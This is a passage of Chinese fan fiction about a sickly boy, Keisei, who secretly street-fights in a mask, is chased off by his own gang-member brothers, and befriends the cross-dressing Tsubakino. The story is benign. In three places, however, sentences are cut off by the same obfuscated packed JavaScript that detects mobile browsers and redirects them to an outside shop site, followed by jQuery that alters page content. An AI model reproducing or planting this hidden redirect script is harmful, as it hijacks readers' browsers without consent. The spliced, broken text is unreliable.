“要是我,早就去死了”有马说得很轻松,但是他的目光却很认真。“已经足够了吧,光是能够在这种疼痛下活下来就已经够厉害了吧,就算不努力、不锻炼、不忍耐、放声去哭,给我添麻烦、到处去闯祸、乱提无理要求都没关系吧?这家伙已经够厉害、够努力了。” “明明已经自顾不暇了,他的眼睛仍旧在我们身上。要是对他说‘你去变强吧,变得像我们一样’他也绝对会去做的,不管有多痛。”十龟安静地听着,话到了这一步他其实也能够理解有马的心情了。 桂生有一双会说话的眼睛,因为身高的原因他似乎与所有人说话都是仰着头。被他注视着的时候似乎不论对他提出什么样的要求他都会答应。实际上也没差了…那个时候有马看上了一款新的游戏机,无意间提了一句,那一年不意外地收到了游戏机作为礼物。 钱是桂生做平面模特赚的。对于别人来说很轻松的工作对于他来说那些粗糙的布料频繁更换摩擦简直就是一种酷刑。短时间里要存够这些钱并不容易,他同时接了很多家,用了所有空闲的时间,悄无声息地给有马一个大惊喜。 最近几年游戏机的换代特别快,那个的性价比并不高,使用的平台也有限制,其实用的人并不多,但有马一直很珍惜的使用着,问就是弟弟打工给他买的,别人碰都不让碰。 “小鬼的时候姐姐其实超不愿意他跟我待在一起。在这边疼痛、伤口都太司空见惯了,姐姐不想让他的人生里有太多这种东西,不希望他想要得到的东西必须要通过忍受疼痛才能得到。” “这边的规则不适合他生存。想要得到尊重他必须勉强自己去适应对他来说一出生就不公平的东西。” “她对我说,鱼是该活在水里的,就算能够跃出水面短暂的触碰天空,留给他的也只是窒息的空气。” “那个时候不懂,最近几年开始明白了。”有马把烟摸了出来,似乎想要点上一根,但是顿了顿又放回去了。 有马的声音似乎还在脑子里回荡,那个时候虽然也会为此感到震撼,但一旦事情真正发生了,到了眼前的地步十龟只觉得一场打下来好不容易热起来的身体被从脊背升起、蔓延开的寒意冷却下来了。 这个孩子并不是为了受苦才出生到世上的。 打架,被打,追逐,被追赶,甚至吐出了鲜血。这样对于他们来说司空见惯的疼痛与伤害,被数倍增强后凝聚在那样小的身体里。从狮子头连离开之后、从有马的视线里移开之后,他究竟在做什么,他究竟经历着什么? 离群的狮子会成为鬣狗的饵料,落得一个凄惨而狼狈的终末。但桂生本来可以不用步入这边的世界。和无法融入人群而不得不选择这边的人不一样,如果是桂生的话,不论是怎样的人群应该都是能够融入进去的吧? 本能地,十龟不愿去思考,是什么让他落到这种地步。作为一个悲观主义者,不管到底发生了什么,桂生会在大家的视线触及不到的地方变成这样归根结底只有一个原因。 是我的错啊,因为我剥夺了他的归处。 他站在光的边缘去看桂生藏身的地方,甚至想抛开立场、坚持那些外物去查看他的伤势去确认他的呼吸。在生命面前,身份立场什么的都不是那么重要了。那样弱小的身体受了那么重的伤又淋了雨,现在也不知道怎么样了,他还能站起来吗,他还清醒着吗?他还能够回去吗? 但是在十龟过去之前桂生自己出来了,摔倒、爬起来,狼狈得不行却又坚韧地独自将一切都饮下。他甚至愿意把手机拿出来看时间,也没有给任何一个爱着他、被他叫到就一定会出现的人打电话、求救。 就这样狼狈的,踉踉跄跄地往回走。十龟在黑夜里注视着他,一直到他回到那称得上破烂的公寓里。 他不该待在这边的世界里。黑夜里十龟闭上了眼,楼道里熹微的灯光也随着桂生关上的门而熄灭,在夜雨中得出了结论。 不管十龟是怎么想的,此时桂生都在默念着“根据冥法关上门之后鬼怪可就不能跟着进屋了哦,不经生人同意鬼怪是不可以擅自进入被窝的。“ 通过默念着不知道哪里看来的规则怪谈的条例给自己壮胆,然后呲牙咧嘴着给自己收拾伤口。 不知道哪天开始的,他养成了不关灯的习惯。家里没有人会对他说“你回来了”的话,那就自己给自己留一盏灯嘛。就算没有人在等自己回去,可是一打开家门就能够从黑夜里回到灯光下不是也很幸福吗。 被淋得透湿的衣服被他整个脱下来塞进了洗衣机。说真的,他现在真的很庆幸这样款的衣服一次性买了五套一样的,不然按照这个天气,晒着也不知道第二天能不能干。 今天这次伤得格外重,处理起来也格外的麻烦,要把伤口里的脏东西弄出来再上药,一顿操作下来都快天亮了。看着窗子缝逐渐透进来的太阳,桂生反手给老师发了短信请假,盖上被子睡个好觉。 桂生倒是睡得挺舒服的,其他人睡不睡得着就不知道了。 昨晚的事情闹得还挺大的,在防风铃和狮子头连的地盘之间,有人组织了五十个人围堵一个人、一场乱斗之后还让人逃了、还撞在了狮子头连的手上被暴揍了一顿。 不……不管怎么说,就算对手是那个会抢钱会用武器的面具混蛋,五十个人围堵还是太过分了吧?而且还让人跑了,怎么说都太滑稽、太失败了吧?甚至面具混蛋都逃掉了,他们居然还能撞在狮子头连的手上。听说是撞在了十龟手上,人家还没说什么就主动挑衅上去,结果五十个人全灭。 真是集卑鄙、弱小、倒霉为一体的五十人团伙,从狮子头连丢脸到防风铃,成了业界人尽皆知的笑话。 柊收到消息的时候人都要裂开了,在多闻众巡逻的日子里,那群人在风铃的地盘聚集起来,虽然被围的似乎也不是什么好人,但是在防风铃的地盘上出现了这种暴力冲突怎么想都是自己的失态。 在桂生呼呼大睡的时候,绿萝也并不平静。 要说为什么的话,除了昨天晚上的惊天大八卦引起了一段骚动之外,还有另外一个问题。琴叶愁眉苦脸的样子实在是太明显了,梅宫一本来还想等对方自己说出来的,但是看着这么憔悴的琴叶谁忍得住啊? “最近怎么算,账都对不上。”琴叶像是在思考怎么措辞一样皱着眉头顿了顿,然后才叹气一般说出来。 “诶?是遇到了闯空门吗?”梅宫不可置信地瞪大了眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125303|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这可是琴叶辛辛苦苦做蛋包饭泡咖啡赚的钱诶!怎么可以就这样被拿走,正在他思考要不要跟大家轮流过来守夜盯梢时,琴叶又叹了一口气。 “如果是小偷的话事情反而简单了。”她看了一眼梅,露出了绝望的微笑。“但是收银箱里的钱增加了,像是会繁殖一样。” “啊?”梅宫一的情绪顿时就不连贯了。摸了摸头“这不是好事情吗?” “…不论这个钱是别人偷偷放进来的,还是我的收银箱成为了能让谕吉繁殖的都市传说都不太好吧。感觉也太奇怪了。” 最终这笔钱被梅带走,交给了作为成年人的优希处理。然后这件事情成为了一个饭后杂谈被说给了柊听。 昨天刚听说了那个来自狮子头连会带来好运的座敷童子什么的,今天听梅宫说这种事情难免会大脑发光产生一些联想…但说到底只是别人因为人家孩子的疾病给的外号而已,怎么可能真的有什么让屋子繁荣,让金钱自己繁殖的座敷童子啦。 所以面对梅宫迷惑的表情他哈哈两声敷衍过去了。 “说起起来啊,柊,你们遇到过那个孩子吗?就是那个那个,跟琴叶学蛋包饭的孩子,经常来帮忙的那个,听说是超——可爱的孩子诶,但是我一次都没有遇到过也太奇怪了吧。” 梅宫眨了眨眼,倒是没有指望柊在这种都市怪谈一样的话题里给出什么建设性的建议。就算是柊对于会让谕吉自己繁殖的钱箱也说不出什么有建设性的东西吧?于是他爽朗又跳跃的改变了话题。 然后柊一口饮料喷了出来。怎么了呢?这个人会读心吗?还是说他已经敏锐到这个地步了?看着梅宫一那和天空一样干净的蓝色大眼珠子,里面透着清澈的愚蠢。柊觉得自己真的想多了,这个男人或许是正经又靠谱的,但绝对不是现在这个时候。 “那孩子的话,昨天我遇到了,也没有他们说的那么冷淡,人家会说话、不是哑巴,确实很可爱,年龄也没有那么小,已经十五了,有兄长的话应该不是孤儿……就算想要弟弟也别把别人家的可爱孩子往家里拐,喂,你在听吗!?” 想到昨天看到的那两个孩子因为自己憧憬的组织跟对方争论的样子柊还是会忍不住露出平和的笑容,那种充满希望与期待氛围似乎光是想起来就会带来淡淡的幸福感,就连柊自己也没想到,说这些话的时候他的嘴角上扬了许多。 梅宫·确实走神·一尴尬的笑了两声,想着大家似乎都很喜欢这个孩子呢,什么时候去看看就好了。而且,那孩子好像也经常在外面打架的样子,所以琴叶才会特意拜托他多照看一下吧? 桂生真的睡的很好,但是睡不好的人大有人在。 听说桂生今天请假了之后有马和鹿沼两个人一整天都是焦虑的。桂生虽然身体很差,但是对于学习还是自我要求很高的,每一次的病假都是他们强行按着他请假然后去医院看医生,能够让桂生主动请假也就意味着他大概真的病得走不动了。 ……然而完全没有想过有的小孩学坏了,在他的心里学习成绩已经不是最重要的东西了。 焦虑、担心,想去探望但是却又连对方的住址都不知道,电话打过去也打不通,一直打一直没人接,直到提示音由无人接听变成“您拨打的电话已关机。”姐姐那边虽然担心但也坚守着和桂生的诺言不肯把地址说出来,只说她下班了亲自去看。 有马和鹿沼的焦虑十龟看在眼里,他知道桂生的住址,但是真的要说吗?这可是面对有马桂生都要求姐姐保密的东西……而且如果说出去的话,那他跟在后面的行为不就真的只是单纯的变态跟踪狂了吗? 不,不能这么想吧。 十龟叹了口气,自嘲的笑笑,站在仓库门口迟迟不愿意把门打开,现在他有些后悔把桂生的外套挂在仓库的墙上了。 只要他进去把这些被他剥皮的外套放下,他就不得不面对墙上桂生的外套,而只要注视着那件外套,他就不得不一遍遍回想起昨晚在昏暗的巷子里,那孩子吐出鲜血如同一块破抹布的样子。 果然,他还是不属于我们这边的世界呢。十龟叹了口气。 这个狮子头连今年就没有一个人是过得舒服的。 14. 第 14 章 不管别人睡不睡得着,反正一觉睡醒后浑身痛得乱叫的桂生决定去找面点大师橘师傅救命,虽然从一条痛得嗷呜嗷呜乱叫的狗被揉成一坨小蛋糕的过程非常痛苦,但是如果不主动去被揉揉,他就不得不很长时间都做嗷呜嗷呜乱叫的狗了…… 一时做狗和一直做狗,要怎么选桂生还是分得清的。 总之先起床把99+的邮件回复,安抚了快要炸开的雪哥和沼哥,然后回复了姐姐的信息,收了爸妈那边发过来的红包,把外面晒着的衣服收回来之后收拾收拾准备出门啦。 一边往外走一边一条条查看着讯息,因为怕家人着急所以醒来先回了哥哥姐姐的,然后才打开其他的部分。 【桂生桂生——你知道吗!昨晚发生了超不得了的大事件诶】By可敬的对手(榆井) 本来还想先跟琴叶发信息的,看到这个开头桂生可就不困了。浑身透着一股子“让我看看,在我挨揍的时候,这个巴掌大的街道里又发生了什么。” 当他点开详细的信息之后,看到了一场跌宕起伏的武斗故事,主人翁通过卑鄙的手段,高超的身法,一骑当千单骑出阵,在戏耍了五十人团伙后脱离战斗,然后驱虎吞狼借用狮子头连的力量将敌方彻底驱逐,从事件里隐身深藏功与名,让所有人的关注点都集中在那个卑鄙、弱小、倒霉的五十人团体上。 榆井的口才真好啊,这故事跌宕起伏的。桂生感叹着,手指滑动,迫不及待地往下翻,想看看是谁这么厉害,又属于哪个势力。 然后他的表情僵住了。 【对!没错,这次事件的主人翁就是最近那个名声鹊起的面具人,虽然因为卑鄙的作战方式和收走败者钱财的行为被人不耻称作面具混蛋,但是其实目前为止还没有那个人主动挑事的记录诶。说不定其实人还不错哦。】 什么啊,原来这么厉害的人是我啊。要如果我不是当事人,我就相信你说的故事了呢。桂生那点兴致在知道主人翁是自己之后尴尬得整个人都灰白起来。 正当他恍惚时,一阵强风吹过,一个身影蹭着他就跑了过去,挥舞着匕首大喊着让周围的人让路,桂生还没反应过来,耳边响起路人的尖锐爆鸣“抢劫啊啊啊!!” 什么抢劫?啊…原来是我的包没了……嗯?我的包?虽然还没有意识到发什么,但身体已经擅自动了起来,追在前面那个人的身后。对方的速度并不快,桂生虽然没有用全力也追得很轻松。 乱世之中,桂生灵机一动,拿起手机就是一顿拍照。总之先发个Line。 【Hi↓↘↗↑ragi(柊)——好奇怪哦,在风铃的地盘居然还有这种事诶,有人的大街上挥着刀刃抢别人的包包诶。】【图片】【图片】【自拍比耶】By狮子头连就是坠吊的 本来以为对方会要过一会才能回复,桂生刚打算把手机收起来全力去追时,手机一个提示音吓得他一个激灵。嚯——秒回啊? 【你自己注意安全,我让周围巡逻的持国众帮忙抓人,你和失主一起在旁边休息吧。】By胃痛随身听战神 【失主还好吗?你没有受伤吧。】By胃痛随身听战神 接连冒出的气泡让一股子“你的老父亲四天王多闻众笔头柊登马很担心你”的气息扑面而来,完全没有在意桂生的打趣,就是纯纯的担心。 桂生愣了愣也没有打算让对方担心,一边追着对方拐弯一边双手捏着手机打着字。 【失主生命体征稳定,情绪平稳,正在一边追逐嫌疑人一边给你发信息呢。】By狮子头连就是坠吊的 眼看就要追上了,桂生刚按下发送意想不到的事情发生了。 这简直就是命运的相遇,桂生在心中感叹,不自觉地停下来了步伐,把手机也放下呆呆看着眼前的光景。 美丽的少女画着艳丽的妆容,百褶裙也在风中飞扬,修长的腿、被锻炼得恰到好处的肌肉、美丽的高跟鞋,轻而易举地将嫌疑人手中的刀刃踢飞,像是蛇尾一样缠在对方的脖子上直到他失去意识。 这是怎样充满力量感的美丽,充满活力的魅力。女孩子也能练出这样漂亮的肌肉吗?明明姐姐也说过的,女孩子的身体要想要肌肉需要更多的努力,更多的付出,更多的汗水。 似乎其他人那边也结束了,在风铃的口号中,她的长发飞扬,自信又美丽,就这样一步一步坚定地向着桂生走过来。这是多么美丽,多么强大的女孩子啊。 一瞬间,桂生的恋爱雷达紧急鸣笛。 这,就是初恋的感觉吗?桂生的脸像是榆井一样往烧水壶的方向发展。 姐姐,我好像遇到命中注定的那个女孩……子? 对方捡起了被歹徒丢到了一边的包包拍去了上面的灰,并着腿弯下腰把包递到桂生面前,快到胸前的发就这样垂落下来,把他的脸勾勒出了温柔的角度,被口红勾勒出艳丽的形状的唇缓缓张开。 “是你的包吗?” 清爽的男声流出。 桂生:…… 桂生:……? 白洞、银河、黑夜、星光……桂生不连贯的情绪里,出现了宇宙的奥义,世界的尽头,辩证的哲学。诶?没来得及烧开的水壶忽然就冷下来了,乱撞的小鹿不小心撞死啦。 桂生的沉默地看着对方,凝视着。深吸一口气,看着对方的眼睛接过了自己的包,然后才缓缓开口。 “还给我。” “诶……?”椿的头上也缓缓冒出一个问号。虽然被他的声音和性别吓到的人大有人在,但显然对方完全不是被吓到的样子呢。 “把初恋的感觉还给我……”桂生咬着嘴唇,瞪大了眼睛,泪水都快溢出来了。 “啊?”虽然听到了,但是椿椿实在有点怀疑自己听到的东西。 “你这个帅气的坏心眼的肌肉漂亮腿超长口红色号超有品妆容超可爱的芳心纵火犯的坏男人!快把刚刚初恋的感觉还给我!” 和吼声一起泪水飚出来了,祭奠桂生还没开始就死去的初恋。喊完之后桂生迟来的羞耻心弥漫开了。 “噗哈哈哈哈”椿的泪水也喷出来了,笑出来的。“你真的超有趣诶,我是椿野佑,叫我椿椿的话我会很开心哦。”当他站直,桂生才悲伤的意识到,这个坏男人比他高好多,然后后知后觉地,意识到,虽然是女生校服,但是,对方穿的这不是防风铃校服吗? “我是……” 诶? 桂生还没来得及说什么,圆圆的柱状物体从对方的口袋里滑出来,落在地上弹了一下,然后盖子与本体分开…露出了一大半留在了盖子里,一小节留在底座上的残躯。 泪水飚出来了。 “啊啊啊啊人家超喜欢这个色号的!!!”有人跪倒,失去颜色,发出悲鸣,果然悲伤不会消失只会从一个人身上转移到另一个人上。有的心情是无法忍耐的,就算捂住嘴,闭上眼睛也会从鼻子里扑哧扑哧地笑出来。 不过桂生也不是什么魔鬼,看着快要变得灰白的椿野,他走过去,将他面前似乎已然牺牲的口红君捡了起来。 “我是桂生,有马桂生。如果你不介意的话,我帮你把它变成口脂吧,像时代剧的大小姐用的妆匣里用小指沾取用的那种。也算是作为帮我把包抢回来的谢礼啦?” “诶诶诶?这种事情也是做得到的吗?”椿抬起头眨眨眼,满怀希冀地注视着 “我姐姐的口红也经常出这种问题,其实我还挺擅长修复这些东西的,最近…嗯,明天有空吗?要一起去挑口脂的盒子吗。” “要去要去!桂生好厉害啊!”……天,这个坏男人怎么眼睛还会发光啊?这谁遭得住啊。 “也…也没有这么少见吧,难道不是有姐姐的人都会的吗。”桂生有些难为情地小声嘀嘀咕咕着。 总之口红的残躯就这样被留在了桂生的口袋里,两个人交换了Line只是不知道为什么,原本只是约着明天一起去买口脂的盒子变成了画上可爱的妆换上小裙子一起逛街。 桂生对于女装啊、化妆啊或者其他更多性别性更强的事情并不抗拒,不如说,因为姐姐的缘故,他对于女性群体其实抱有一种莫名的敬意。 在他黏上有马之前,桂生几乎是被姐姐带大的。姐姐是伟大的,在得到哥哥的庇护之前他一直都按照姐姐教导他的方式谨慎的生存着。就像是这个世上大多数女孩子一样,没有可以保护自己的个体力量,只能借用规则来保护自己,谨慎地将自己藏进人群里,谨慎地让自己成为被更多规则保护的一方。 女孩子喜欢的东西也不像是其他同龄男孩们说的那么无聊。为了帮上姐姐的忙,他也在网站上尝试学习化妆、化妆品的修复之类的东西。那些东西远比看起来要难多了,虽然很多男孩看不上那些东西,但显而易见的他们也玩不明白。 没有关系,其实桂生也不太看得上那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125304|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢在背后说女孩无聊的小笨蛋。雪哥说过,那种的绝对不受欢迎。 不论是画上漂亮的妆,还是穿上可爱的小裙子,桂生都完全没有半点抗拒,不如说还挺兴奋的。 只不过在加上了Line之后,椿皱着眉头看着桂生的昵称盯了一会。 【狮子头连就是坠吊的】 果然在风铃的地盘上跟别人加line用这个昵称还是有点超前了。桂生眨了眨眼睛,忽然意识到在榆井和琴叶面前就算了,在防风铃的面前,确实还挺失礼的。这么一想,之前可不就是顶着这个昵称加上了那个一年生的雪纳瑞副级长和四天王吗…… 不…甚至十分钟前还顶着这个昵称贴脸嘲笑了风铃的治安。忽然间桂生感到了一阵绝望。好痛、好痛,通往火星的机票在哪里买,他要离开这个充满尴尬的地球。 “原来桂生是十龟他们的粉丝……啊?”椿还没来得及说就看到了桂生在手机上给他打上的备注。 【芳心纵火坏男人】 椿野:哎呀…他真的好在意哦。 约定好了时间,椿野就被他的双胞胎副手给摇走了,昨晚刚出五十人团伙的事情,明明狮子头连都惊动了风铃却没有出面也算是一种大失态。所以这几天的巡街和戒备都格外严格,作为四天王椿还有太多要做的事情。 两个人挥手道别,然后嗷嗷小狗去了绿萝被面点大师橘师傅一顿揉搓后成功返场成了浑身药香的小蛋糕。 闲事勿论,接下来又是一整天里桂生最期待的部分,他换上了被洗得香香的、还带有阳光气味的夜袭套装,在夜幕降临之后踩着星光迈着欢快的步子走向他的固定刷新点。 今天的对手会是谁呢?面具人的名声已经传开了,那些送菜的弱者应该不会再来了吧,多少给一些正常实力的家伙呀,不然连我这样的弱者都打不过的话不就只是单纯的虚张声势吗。 有马·认为自己超弱的·桂生期待着,现在的他已经可以感受到打架的快乐了,只要不断跟比自己强的人打就会逐渐变得更强吧,那样迟早有一天能够回到大家的身边。 迈着六亲不认的欢快步伐,桂生赶往期待的方向。还没到桥洞地下呢,远远就听到了那边吵吵闹闹的声音,声音甚至还有些耳熟。 莫名有种不好的预感,桂生的步伐也慢了下来。果然吵闹的声音也越来越大了。 “我是不知道什么面具人什么乱七八糟的东西,那种家伙值得我们在这里一直等着吗?” “嘛——别急啦猿渡,慢慢等吧,总归不能让人误会我们狮子头连的地盘可以随便被人拿来约架呢。昨天晚上那种情况,我不想再有第二次了嘛。”十龟轻声说着,意有所指地看了一眼桂生所在的方向,可是他什么都没说,目光短暂的停留了片刻又移开了。 此时缩在墙后面的桂生已经开始害怕了。因为刚刚浅浅一瞄,来了十个人,里面九个是认识的,还有一个没看清是谁。不说别的,雪哥和沼哥俨然就在人群里满脸烦躁的玩着手机。 桂生:我就琢磨着远远有群人聚在那里要围堵我,我想着有个好架可以打,立刻就凑上去了看看是哪家的聚众围堵想来挑战我一下,没想到,原来拨开人群一看原来是我自己家的,当时眼泪就流出来了。 桂生小心翼翼地贴着墙角往外退,心里想着看不见我看不见我看不见我,结果一个不小心猜到了墙角的垃圾摔了的大马趴,整个人暴露在狮子头连的视野里。 “面具人是那个吗?” “是那个吧。” “应该是吧。” “……” “就是他!快追啊!别让他跑了!” “喂!站住!!” 站住你个头!桂生爬起来甩着腿就是一顿狂奔,被抓到可就什么都完了,就完蛋了,就没有然后了!说不定雪哥要是知道他在外面还抢了别人的钱,当场就会把姐姐摇来说教。 啊啊啊啊不要啊!!!桂生拔腿就跑,这十个人的追杀不比那五十个人刺激多了!? 十龟远远坠在人群后面看着被追着撵着乱跑上蹿下跳的桂生扶了扶墨镜,好努力才忍住了不笑。 哎呀,真是一场淋漓尽致的追捕呢。这样的话,就算是桂生应该也不会再来这里打架了吧。 桂生:怎会如此、竟有此事,怎么会有人被自己的亲哥哥撵着满地乱跑啊。而且雪哥你追在后面的样子真的好正狰狞! 15. 第 15 章 不愧是狮子头连啊,就算追人也和那种半桶水的组织截然不同。桂生左窜右窜,既不敢往狮子头连的地盘跑,又不想狮子头连为了追他跑到风铃的地盘上。今天巡逻的不是那家伙吗?万一雪哥把他揍哭了怎么办,那么可爱的妆容也太可惜了。 这会桂生一来不知道人家椿椿是持国众的笔头,二来在他心里边十龟哥+雪哥+沼哥的组合基本就是天下无敌了,如果还有更强的阵容那一定是加上丁子。发自内心地在为新交的朋友担心着的桂生完全没有想过他老哥根本打不过人家的可能性。 桂生尽可能地避开了人群和繁华路段,一路沿着东边与狮子头连的交界往北边风铃地盘的边界跑。 狮子头连那边对于追击战还挺得心应手的,一路上险象环生,把孩子吓唬得不行,撵得像菜场里的鸡。好在十龟也不是什么魔鬼,他的目的真的只是想吓唬一下桂生,让这孩子回去好好读书别再背着有马和鹿沼在外面鬼混。 眼看着要被抓住了,甚至感觉跟在后边的十龟哥只要伸出手就能抓着他的领子把他拎起来,像抡大摆锤一样把他甩出去。左边沼哥已经快追上来了,右边雪哥也跃跃欲试的样子。太近了啦太近了吧!这个距离,只要把兜帽拽下来,就算不摘面具也百分百会被认出来吧? 这世上哪里有认不出弟弟的哥哥啊!!桂生在心里尖锐爆鸣。 玩的就是心跳,这一玩,可不得把自己玩完了吗?那一瞬间,桂生都已经想好要用怎样的滑跪躲到沼哥的背后才能躲过雪哥的暴怒,泪水都要喷出来了,背后却传来十龟收队的声音。 “啊…算啦算啦,肚子饿了,去吃饭吧。那孩…家伙,大概、再也不敢来狮子头连的地盘了吧。”十龟悠闲地说着,明明追了一路,脸不红气不喘的,就像真的在玩一样。其他人虽然有些疑惑,但十龟都这么说了,倒也没人继续追下去。 毕竟抓人哪有吃饭有意思。像十龟这样多次在大胃王比赛中获得优胜的男人,光是看他吃都很有食欲。 十龟倒也不打算真的把桂生抓了,虽然叫来的人都是跟桂生关系比较好的家伙,但是事情传出去到底还是影响不好,不论是对桂生还是对于现在的狮子头连。从一开始就只是想吓唬吓唬孩子而已,没想到桂生跑得还挺快的,搞得十龟一个不小心都认真了。 听他们说不追了,桂生也站定了没动。他站在桥上,看着十龟带着狮子头连的另外九个人站在桥的另一头往回走的背影,刚松了一口气,忽然看到坠在队伍最后面的十龟举起了手。 背对着所有人挥了挥。 桂生一个激灵,诶? 不是吧?不会吧,就这么一会,十龟哥认出来了吗?真的假的? 原本以为第一个认出来的应该会是沼哥的,那个距离实在是太近了,在洞察一切的沼哥面前,这点伪装根本就不够看。可是为什么会是十龟哥?明明十龟哥是那种打架的时候只顾着打,打完了之后连对方的长相名字都记不住的男人。要说尊重对手的挥手……说实话,其实十龟哥也不是特别尊重对手的类型。 为什么呀?还是说已经明显到彻底暴露了?!桂生想不通,桂生焦躁,桂生抓狂,桂生失去颜色变得灰白,恍恍惚惚的往回走。 十龟要是知道他的想法估计会笑出声来。没想到吧有马桂生,我有视野,我提前知道了,我甚至知道你住在哪里,希望你可以安分一点呢… 怎么会这样,今天本来高高兴兴。 被追了一路的桂生最后绕了绕路还是回家了。固定的练级刷新点惨遭十龟哥捣毁,对方还一副要经常过来蹲点看看的作势,别管他会不会真的来,反正桂生是不敢再去那里了。 新手村都没出,经验怪没刷出来,刷出世界boss十龟哥,这哪家冒险者受得了啊?桂生决定今天先给自己放个假,摸出了好久没玩的游戏机往懒人沙发上一躺,打开了怪物O人。 “诶——小狮子上线啦,好久不见w”一上线就听见集会里熟悉的语音,这么一想好像搬出来之后就没有上过线了,毕竟每天原本用来打游戏的时间全都拿去惹是生非了。打完了回来又那么晚,又那么痛,给自己收拾收拾之后根本没有打游戏的心情。 “这么不久不见,是你的那个搬出去的计划成功了吗w”对方仍旧欢快地说着,听着对方的声音,桂生有种自己还躺卧室里玩着游戏机,打开门就能看到在客厅被老姐指挥着做家务的雪哥的错觉。这么一上线莫名有种恍如隔世的感觉, “也没有很久不见吧,不过中间出现了一些波折但现在还是成功搬出来啦,小烧(yaki酱)呢,最近顺利吗?那个事情解决了?” 桂生的id叫做【金狮子才不是狮子】通称小狮子,对方的id叫【吉兆蜻蜓烧】通称小烧,一开始两个人是在别人的求救信号里遇到了,一个轻弩,一个双刀,两个人技术不错的人配合起来打起来实在很快乐,两个人获得了快乐,只是有一条无辜的金火龙在毒弹和异常状态中被反复搓背失去了生命。 真是一场酣畅淋漓的战斗啊,聊了两句发现是同龄人,一来二去的也就熟悉起来了。 “啊…那个,呀,最近啊,他们一直没有动静,还以为是学长们终于从低级趣味里面出来了,结果啊——” 本来就轻柔的声音故意拉长,每次小烧这么说话的时候,桂生都有点幻视十龟哥欺负人时的语气,因为说太快了十龟哥会听不清,结果雪哥也养成了说话拉长的习惯。 不过光是听他的语气也知道啦,那些欺负人的家伙大概把他最近学会的那些技巧全都用上了吧。 “结果他们悄悄召集人手来围殴诶,不过托他们的福,也算是一鼓作气打出了名气,以后应该不会随便被人找茬了吧——” 除了游戏之外两个人还经常讨论一些打架技巧、Y-toube上的教程、锻炼方法之类的,桂生看着教程一知半解的学着,两个人每隔一段时间就交流学习成果,结果那家伙干脆花钱请了教练在家里教他,给他展示了金钱的力量,变成他先学然后教桂生,再把桂生的困惑问老师。 一来二去的,桂生还挺担心这种私下传授的方式会不会让老师不愉快,毕竟现在道馆也好武馆也好,不都还是很讲究师徒传承的吗?不过小烧说他提前跟老师说过了所以没关系什么的。 他说没关系应该就是真的没关系吧。桂生倒也没有很担心,两个人自然地聊着各自最近的生活,然后进了同一个任务,然后两个苍蓝星若无其事地说着哪家的面包好吃哪家的松饼美味,手里噼里啪啦地操作着开始霸凌古代树森林的每一条龙。 久违的合作让两个人打了爽,回过神才发现已经太晚了。想到明天还要一起出去玩呢,桂生匆匆忙忙地下线跟对方说了再见。 原本的计划是在椿椿那里化好妆,换上他的裙子,然后发现……过大的体型差让第二步根本无法实施。不过桂生本来就很可爱,衣品也在精致可爱的那一边,穿着可爱的帽衫和牛仔裤就算不穿裙子看起来也很像可爱的女孩子了。 其实他不是很在意啦,他只是不抗拒而已也没有很喜欢,会到这一步,其实也是因为椿椿听说他对女装不抗拒也经常穿所以表现出了惊人的热情。桂生几乎从头到尾都是顺势答应了。 椿第一次遇到和他一样的男孩,虽然对方和他的情况有些区别,但他真的很开心。 现在穿不了裙子,椿椿虽然还是笑着,但是桂生总觉得对方还蛮失落的。 “那我们去买吧,椿椿,其实一直以来我只是穿姐姐的衣服而已,并没有自己的裙子,你来陪我选吧,多搭几套,下次就可以一起去约会了。”桂试图去摸摸椿椿的头安慰一下……但是啊,椿椿本身比他高了四十厘米就算了,现在还穿着高跟鞋,都快一米九了。 摸不到,可恶。 就在桂生打算尴尬的收回手时,椿椿低下头在他手上蹭了蹭。 “好呀,小桂这——么可爱,人家肯定会把你打扮得更加可爱!” 好耀眼,好耀眼这个男人好耀眼…桂生捂住了眼睛扭过了头。 久违地,在和椿逛街中找到了小时候陪姐姐逛街的那种荒谬感和疯狂,特别是椿的体力远超姐姐的前提下,桂生有一种茫然。明明我应该是变强了吧,为什么这种无力感和小学的时候一模一样?我应该是变强了吧?又好像没有? 有一种我好像还是小学时的那个小卡拉米的错觉,仔细想象发现又好像不是错觉。 换了七套衣服之后,开始大脑发光了。如果脑袋上有进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125305|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度条,桂生觉得自己最多也就算是五成新,而显然兴致勃勃正在挑耳钉的椿椿,一看就是刚出场的全新无瑕版。 明明他换了更多衣服,尝试了更多东西。为什么他还这么有活力?这就是实力的差距吗。桂生得出了结论,在椿提出要不要一起去做美甲时带着些许困惑但还是同意了。 